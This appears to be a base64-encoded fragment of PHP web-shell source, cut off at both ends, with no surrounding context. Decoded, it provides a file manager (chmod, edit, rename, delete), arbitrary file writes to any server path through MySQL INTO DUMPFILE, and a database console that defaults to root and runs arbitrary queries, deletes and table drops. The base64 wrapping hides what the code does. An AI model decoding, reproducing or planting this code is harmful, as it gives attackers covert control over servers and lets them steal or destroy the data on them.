xlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+Jy4kZmlsZWRiWydtdGltZSddLic8L2E+PC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ3NpemUnXS4nPC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4nKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZmlsZWRiWydmaWxlY2htb2QnXS4nPC9hPiAvICcpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVwZXJtJ10uJzwvYT4nLiRmaWxlZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2Rvd25maWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkRvd248L2E+IHwgJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Y29weWZpbGUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkNvcHk8L2E+IHwgJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6b3BmaWxlKFwnZWRpdGZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+RWRpdDwvYT4gfCAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbmFtZTwvYT4nKTsKCQkJcCgnPC90ZD48L3RyPicpOwoJCQkkZmlsZV9pKys7CgkJfQoJfQoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+RmlsZW5hbWU8L3RkPjx0ZCB3aWR0aD0iMTYlIj5MYXN0IG1vZGlmaWVkPC90ZD48dGQgd2lkdGg9IjEwJSI+U2l6ZTwvdGQ+PHRkIHdpZHRoPSIyMCUiPkNobW9kIC8gUGVybXM8L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY3Rpb248L3RkPjwvdHI+Jyk7CglwKCc8dHIgY2xhc3M9IicuYmcoKS4nIj48dGQgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKSIgLz48L3RkPjx0ZCBjb2xzcGFuPSI0Ij48YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGZpbGVzXCcpOyI+RGVsZXRlIHNlbGVjdGVkPC9hPjwvdGQ+PHRkIGFsaWduPSJyaWdodCI+Jy4kZGlyX2kuJyBkaXJlY3RvcmllcyAvICcuJGZpbGVfaS4nIGZpbGVzPC90ZD48L3RyPicpOwoJcCgnPC9mb3JtPjwvdGFibGU+Jyk7Cn0vLyBlbmQgZGlyCgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGZpbGUnKSB7CglpZigkZG9pbmc9PSJteXNxbHVwbG9hZCIpewoJCSRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmlsZSddOwoJCSRmaWxlbmFtZSA9ICRmaWxlWyd0bXBfbmFtZSddOwoJCWlmIChmaWxlX2V4aXN0cygkc2F2ZXBhdGgpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCcpOwoJCX0gZWxzZSB7CgkJCWlmKCEkZmlsZW5hbWUpIHsKCQkJCW0oJ1BsZWFzZSBjaG9vc2UgYSBmaWxlJyk7CgkJCX0gZWxzZSB7CgkJCQkkZnA9QGZvcGVuKCRmaWxlbmFtZSwncicpOwoJCQkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOwoJCQkJQGZjbG9zZSgkZnApOwoJCQkJJGNvbnRlbnRzID0gYmluMmhleCgkY29udGVudHMpOwoJCQkJaWYoISR1cG5hbWUpICR1cG5hbWUgPSAkZmlsZVsnbmFtZSddOwoJCQkJJG15c3FsbGluayA9IG15ZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCQkkcmVzdWx0ID0gcSgiU0VMRUNUIDB4eyRjb250ZW50c30gRlJPTSBteXNxbC51c2VyIElOVE8gRFVNUEZJTEUgJyRzYXZlcGF0aCc7Iik7CgkJCQltKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMgZmFpbGVkOiAnLm15c3FsX2Vycm9yKCkpOwoJCQl9CgkJfQoJfQo/Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7CglpZighZG9pbmcpIHJldHVybjsKCSQoJ2RvaW5nJykudmFsdWU9ZG9pbmc7CgkkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJob3N0LnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJwb3J0LnZhbHVlPSQoJ2RiaW5mbycpLmRicG9ydC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmRidXNlci52YWx1ZT0kKCdkYmluZm8nKS5kYnVzZXIudmFsdWU7CgkkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJuYW1lLnZhbHVlPSQoJ2RiaW5mbycpLmRibmFtZS52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmNoYXJzZXQudmFsdWU9JCgnZGJpbmZvJykuY2hhcnNldC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8P3BocAoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOwoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsKCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgSW5mb3JtYXRpb24nLCduYW1lJz0+J2RiaW5mbycpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxmaWxlJyk7CglwKCc8cD4nKTsKCXAoJ0RCSG9zdDonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOwoJcCgnOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicG9ydCcsJ3NpemUnPT40LCd2YWx1ZSc9PiRkYnBvcnQpKTsKCXAoJ0RCVXNlcjonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOwoJcCgnREJQYXNzOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7CglwKCdEQk5hbWU6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJuYW1lJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYm5hbWUpKTsKCXAoJ0RCQ2hhcnNldDonKTsKCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0ZGIsJ3NlbGVjdGVkJz0+JGNoYXJzZXQsJ25va2V5Jz0+MSkpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3QoKTsKCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9Im15c3FsZmlsZSIgaWQ9Im15c3FsZmlsZSI+Jyk7CglwKCc8aDI+VXBsb2FkIGZpbGU8L2gyPicpOwoJcCgnPHA+PGI+VGhpcyBvcGVyYXRpb24gdGhlIERCIHVzZXIgbXVzdCBoYXMgRklMRSBwcml2aWxlZ2U8L2I+PC9wPicpOwoJcCgnPHA+U2F2ZSBwYXRoKGZ1bGxwYXRoKTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ic2F2ZXBhdGgiIHNpemU9IjQ1IiB0eXBlPSJ0ZXh0IiAvPiBDaG9vc2UgYSBmaWxlOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB0eXBlPSJmaWxlIiAvPiA8YSBocmVmPSJqYXZhc2NyaXB0Om15c3FsZmlsZShcJ215c3FsdXBsb2FkXCcpOyI+VXBsb2FkPC9hPjwvcD4nKTsKCXAoJzxoMj5Eb3dubG9hZCBmaWxlPC9oMj4nKTsKCXAoJzxwPkZpbGU6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9Im15c3FsZGxmaWxlIiBzaXplPSIxMTUiIHR5cGU9InRleHQiIC8+IDxhIGhyZWY9ImphdmFzY3JpcHQ6bXlzcWxmaWxlKFwnbXlzcWxkb3duXCcpOyI+RG93bmxvYWQ8L2E+PC9wPicpOwoJbWFrZWhpZGUoJ2RiaG9zdCcpOwoJbWFrZWhpZGUoJ2RicG9ydCcpOwoJbWFrZWhpZGUoJ2RidXNlcicpOwoJbWFrZWhpZGUoJ2RicGFzcycpOwoJbWFrZWhpZGUoJ2RibmFtZScpOwoJbWFrZWhpZGUoJ2NoYXJzZXQnKTsKCW1ha2VoaWRlKCdkb2luZycpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsKCXAoJzwvZm9ybT4nKTsKfQoKZWxzZWlmICgkYWN0aW9uID09ICdteXNxbGFkbWluJykgewoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOwoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsKCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7CgkkZGJmb3JtID0gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJjb25uZWN0IiBuYW1lPSJjb25uZWN0IiB2YWx1ZT0iMSIgLz4nOwoJaWYoaXNzZXQoJGRiaG9zdCkpewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIgdmFsdWU9XCIkZGJob3N0XCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJ1c2VyKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1c2VyXCIgdmFsdWU9XCIkZGJ1c2VyXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJwYXNzKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1lPVwiZGJwYXNzXCIgdmFsdWU9XCIkZGJwYXNzXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJwb3J0KSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBvcnRcIiBuYW1lPVwiZGJwb3J0XCIgdmFsdWU9XCIkZGJwb3J0XCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJuYW1lKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYm5hbWVcIiBuYW1lPVwiZGJuYW1lXCIgdmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkY2hhcnNldCkpIHsKCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiY2hhcnNldFwiIG5hbWU9XCJjaGFyc2V0XCIgdmFsdWU9XCIkY2hhcnNldFwiIC8+XG4iOwoJfQoKCWlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAkc2F2ZWFzZmlsZSkgewoJCWlmICghJHRhYmxlKSB7CgkJCW0oJ1BsZWFzZSBjaG9vc2UgdGhlIHRhYmxlJyk7CgkJfSBlbHNlIHsKCQkJJG15c3FsbGluayA9IG15ZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCSRmcCA9IEBmb3BlbigkcGF0aCwndycpOwoJCQlpZiAoJGZwKSB7CgkJCQlmb3JlYWNoKCR0YWJsZSBhcyAkayA9PiAkdikgewoJCQkJCWlmICgkdikgewoJCQkJCQlzcWxkdW1wdGFibGUoJHYsICRmcCk7CgkJCQkJfQoJCQkJfQoJCQkJZmNsb3NlKCRmcCk7CQkJCQoJCQkJJGZpbGV1cmwgPSBzdHJfcmVwbGFjZShTQV9ST09ULCcnLCRwYXRoKTsKCQkJCW0oJ0RhdGFiYXNlIGhhcyBzdWNjZXNzIGJhY2t1cCB0byA8YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRwYXRoLic8L2E+Jyk7CgkJCQlteXNxbF9jbG9zZSgpOwoJCQl9IGVsc2UgewoJCQkJbSgnQmFja3VwIGZhaWxlZCcpOwoJCQl9CgkJfQoJfQoJaWYgKCRpbnNlcnQgJiYgJGluc2VydHNxbCkgewoJCSRrZXlzdHIgPSAkdmFsc3RyID0gJHRtcCA9ICcnOwoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsKCQkJaWYgKCR2YWwpIHsKCQkJCSRrZXlzdHIgLj0gJHRtcC4ka2V5OwoJCQkJJHZhbHN0ciAuPSAkdG1wLiInIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsKCQkJCSR0bXAgPSAnLCc7CgkJCX0KCQl9CgkJaWYgKCRrZXlzdHIgJiYgJHZhbHN0cikgewoJCQkkbXlzcWxsaW5rID0gbXlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsKCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFibGVuYW1lICgka2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5zZXJ0IG5ldyByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsKCQl9Cgl9CglpZiAoJHVwZGF0ZSAmJiAkaW5zZXJ0c3FsICYmICRiYXNlNjQpIHsKCQkkdmFsc3RyID0gJHRtcCA9ICcnOwoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsKCQkJJHZhbHN0ciAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsKCQkJJHRtcCA9ICcsJzsKCQl9CgkJaWYgKCR2YWxzdHIpIHsKCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkJJG15c3FsbGluayA9IG15ZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCW0ocSgiVVBEQVRFICR0YWJsZW5hbWUgU0VUICR2YWxzdHIgV0hFUkUgJHdoZXJlIExJTUlUIDEiKSA/ICdSZWNvcmQgdXBkYXRpbmcnIDogbXlzcWxfZXJyb3IoKSk7CgkJfQoJfQoJaWYgKCRkb2luZyA9PSAnZGVsJyAmJiAkYmFzZTY0KSB7CgkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkkZGVsZXRlX3NxbCA9ICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSI7CgkJJG15c3FsbGluayA9IG15ZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJbShxKCJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSIpID8gJ0RlbGV0aW9uIHJlY29yZCBvZiBzdWNjZXNzJyA6IG15c3FsX2Vycm9yKCkpOwoJfQoKCWlmICgkdGFibGVuYW1lICYmICRkb2luZyA9PSAnZHJvcCcpIHsKCQkkbXlzcWxsaW5rID0gbXlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsKCQlpZiAocSgiRFJPUCBUQUJMRSAkdGFibGVuYW1lIikpIHsKCQkJbSgnRHJvcCB0YWJsZSBvZiBzdWNjZXNzJyk7CgkJCSR0YWJsZW5hbWUgPSAnJzsKCQl9IGVsc2UgewoJCQltKG15c3FsX2Vycm9yKCkpOwoJCX0KCX0KCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgTWFuYWdlcicpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdteXNxbGFkbWluJyk7CglwKCc8cD4nKTsKCXAoJ0RCSG9zdDonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOwoJcCgnOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicG9ydCcsJ3NpemUnPT40LCd2YWx1ZSc9PiRkYnBvcnQpKTsKCXAoJ0RCVXNlcjonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOwoJcCgnREJQYXNzOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7CglwKCdEQkNoYXJzZXQ6Jyk7CgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J2NoYXJzZXQnLCdvcHRpb24nPT4kY2hhcnNldGRiLCdzZWxlY3RlZCc9PiRjaGFyc2V0LCdub2tleSc9PjEpKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidjb25uZWN0JywndmFsdWUnPT4nQ29ubmVjdCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwoKCS8vPz8/PwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVjb3JkbGlzdCcpKTsKCW1ha2VoaWRlKCdkb2luZycpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ215c3FsYWRtaW4nKTsKCW1ha2VoaWRlKCdiYXNlNjQnKTsKCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsKCXAoJGRiZm9ybSk7Cglmb3JtZm9vdCgpOwoKCS8vPz8/Pz8KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3NldGRibmFtZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdteXNxbGFkbWluJyk7CglwKCRkYmZvcm0pOwoJaWYgKCEkZGJuYW1lKSB7CgkJbWFrZWhpZGUoJ2RibmFtZScpOwoJfQoJZm9ybWZvb3QoKTsKCgkvLz8/PwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0dGFibGUnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnbXlzcWxhZG1pbicpOwoJcCgkZGJmb3JtKTsKCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsKCW1ha2VoaWRlKCdwYWdlJywkcGFnZSk7CgltYWtlaGlkZSgnZG9pbmcnKTsKCWZvcm1mb290KCk7CgoJJGNhY2hldGFibGVzID0gYXJyYXkoKTsJCgkkcGFnZW51bSA9IDMwOwoJJHBhZ2UgPSBpbnR2YWwoJHBhZ2UpOwoJaWYoJHBhZ2UpIHsKCQkkc3RhcnRfbGltaXQgPSAoJHBhZ2UgLSAxKSAqICRwYWdlbnVtOwoJfSBlbHNlIHsKCQkkc3RhcnRfbGltaXQgPSAwOwoJCSRwYWdlID0gMTsKCX0KCWlmIChpc3NldCgkZGJob3N0KSAmJiBpc3NldCgkZGJ1c2VyKSAmJiBpc3NldCgkZGJwYXNzKSAmJiBpc3NldCgkY29ubmVjdCkpIHsKCQkkbXlzcWxsaW5rID0gbXlkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOwoJCS8vPz8/Pz8/PwoJCSRteXNxbHZlciA9IG15c3FsX2dldF9zZXJ2ZXJfaW5mbygpOwoJCXAoJzxwPk15U1FMICcuJG15c3FsdmVyLicgcnVubmluZyBpbiAnLiRkYmhvc3QuJyBhcyAnLiRkYnVzZXIuJ0AnLiRkYmhvc3QuJzwvcD4nKTsKCQkkaGlnaHZlciA9ICRteXNxbHZlciA+ICc0LjEnID8gMSA6IDA7CgoJCS8vPz8/Pz8KCQkkcXVlcnkgPSBxKCJTSE9XIERBVEFCQVNFUyIpOwoJCSRkYnMgPSBhcnJheSgpOwoJCSRkYnNbXSA9ICctLSBTZWxlY3QgYSBkYXRhYmFzZSAtLSc7CgkJd2hpbGUoJGRiID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgewoJCQkkZGJzWyRkYlsnRGF0YWJhc2UnXV0gPSAkZGJbJ0RhdGFiYXNlJ107CgkJfQoJCW1ha2VzZWxlY3QoYXJyYXkoJ3RpdGxlJz0+J1BsZWFzZSBzZWxlY3QgYSBkYXRhYmFzZTonLCduYW1lJz0+J2RiW10nLCdvcHRpb24nPT4kZGJzLCdzZWxlY3RlZCc9PiRkYm5hbWUsJ29uY2hhbmdlJz0+J21vZGRibmFtZSh0aGlzLm9wdGlvbnNbdGhpcy5zZWxlY3RlZEluZGV4XS52YWx1ZSknLCduZXdsaW5lJz0+MSkpOwoJCSR0YWJsZWRiID0gYXJyYXkoKTsKCQlpZiAoJGRibmFtZSkgewoJCQlwKCc8cD4nKTsKCQkJcCgnQ3VycmVudCBkYWJhYmFzZTogPGEgaHJlZj0iamF2YXNjcmlwdDptb2RkYm5hbWUoXCcnLiRkYm5hbWUuJ1wnKTsiPicuJGRibmFtZS4nPC9hPicpOwoJCQlpZiAoJHRhYmxlbmFtZSkgewoJCQkJcCgnIHwgQ3VycmVudCBUYWJsZTogPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcpOyI+Jy4kdGFibGVuYW1lLic8L2E+IFsgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ3N0cnVjdHVyZVwnKTsiPlN0cnVjdHVyZTwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdkcm9wXCcpOyI+RHJvcDwvYT4gXScpOwoJCQl9CgkJCXAoJzwvcD4nKTsKCQkJbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOwoKCQkJJGdldG51bXNxbCA9ICcnOwoJCQkkcnVucXVlcnkgPSAwOwoJCQlpZiAoJHNxbF9xdWVyeSkgewoJCQkJJHJ1bnF1ZXJ5ID0gMTsKCQkJfQoJCQkkYWxsb3dlZGl0ID0gMDsKCQkJaWYgKCR0YWJsZW5hbWUgJiYgISRzcWxfcXVlcnkpIHsKCQkJCSRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsKCQkJCSRnZXRudW1zcWwgPSAkc3FsX3F1ZXJ5OwoJCQkJJHNxbF9xdWVyeSA9ICRzcWxfcXVlcnkuIiBMSU1JVCAkc3RhcnRfbGltaXQsICRwYWdlbnVtIjsKCQkJCSRhbGxvd2VkaXQgPSAxOwoJCQl9CgkJCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOwoJCQlwKCc8cD48dGFibGUgd2lkdGg9IjIwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQgY29sc3Bhbj0iMiI+UnVuIFNRTCBxdWVyeS9xdWVyaWVzIG9uIGRhdGFiYXNlICcuJGRibmFtZS4nOjwvdGQ+PC90cj48dHI+PHRkPjx0ZXh0YXJlYSBuYW1lPSJzcWxfcXVlcnkiIGNsYXNzPSJhcmVhIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjUwcHg7b3ZlcmZsb3c6YXV0bzsiPicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5LEVOVF9RVU9URVMpLic8L3RleHRhcmVhPjwvdGQ+PHRkIHN0eWxlPSJwYWRkaW5nOjAgNXB4OyI+PGlucHV0IGNsYXNzPSJidCIgc3R5bGU9ImhlaWdodDo1MHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSIgLz48L3RkPjwvdHI+PC90YWJsZT48L3A+Jyk7CgkJCW1ha2VoaWRlKCd0YWJsZW5hbWUnLCAkdGFibGVuYW1lKTsKCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ215c3FsYWRtaW4nKTsKCQkJcCgkZGJmb3JtKTsKCQkJcCgnPC9mb3JtPicpOwoJCQlpZiAoJHRhYmxlbmFtZSB8fCAoJHJ1bnF1ZXJ5ICYmICRzcWxfcXVlcnkpKSB7CgkJCQlpZiAoJGRvaW5nID09ICdzdHJ1Y3R1cmUnKSB7CgkJCQkJJHJlc3VsdCA9IHEoIlNIT1cgRlVMTCBDT0xVTU5TIEZST00gJHRhYmxlbmFtZSIpOwoJCQkJCSRyb3dkYiA9IGFycmF5KCk7CgkJCQkJd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CgkJCQkJCSRyb3dkYltdID0gJHJvdzsKCQkJCQl9CgkJCQkJcCgnPGgzPlN0cnVjdHVyZTwvaDM+Jyk7CgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsKCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOwoJCQkJCXAoJzx0ZD5GaWVsZDwvdGQ+Jyk7CgkJCQkJcCgnPHRkPlR5cGU8L3RkPicpOwoJCQkJCXAoJzx0ZD5Db2xsYXRpb248L3RkPicpOwoJCQkJCXAoJzx0ZD5OdWxsPC90ZD4nKTsKCQkJCQlwKCc8dGQ+S2V5PC90ZD4nKTsKCQkJCQlwKCc8dGQ+RGVmYXVsdDwvdGQ+Jyk7CgkJCQkJcCgnPHRkPkV4dHJhPC90ZD4nKTsKCQkJCQlwKCc8dGQ+UHJpdmlsZWdlczwvdGQ+Jyk7CgkJCQkJcCgnPHRkPkNvbW1lbnQ8L3RkPicpOwoJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsKCQkJCQkJJHRoaXNiZyA9IGJnKCk7CgkJCQkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snRmllbGQnXS4nPC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snVHlwZSddLic8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydDb2xsYXRpb24nXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snTnVsbCddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydLZXknXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snRGVmYXVsdCddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydFeHRyYSddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydQcml2aWxlZ2VzJ10uJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0NvbW1lbnQnXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPC90cj4nKTsKCQkJCQl9CgkJCQkJdGJmb290KCk7CgkJCQkJJHJlc3VsdCA9IHEoIlNIT1cgSU5ERVggRlJPTSAkdGFibGVuYW1lIik7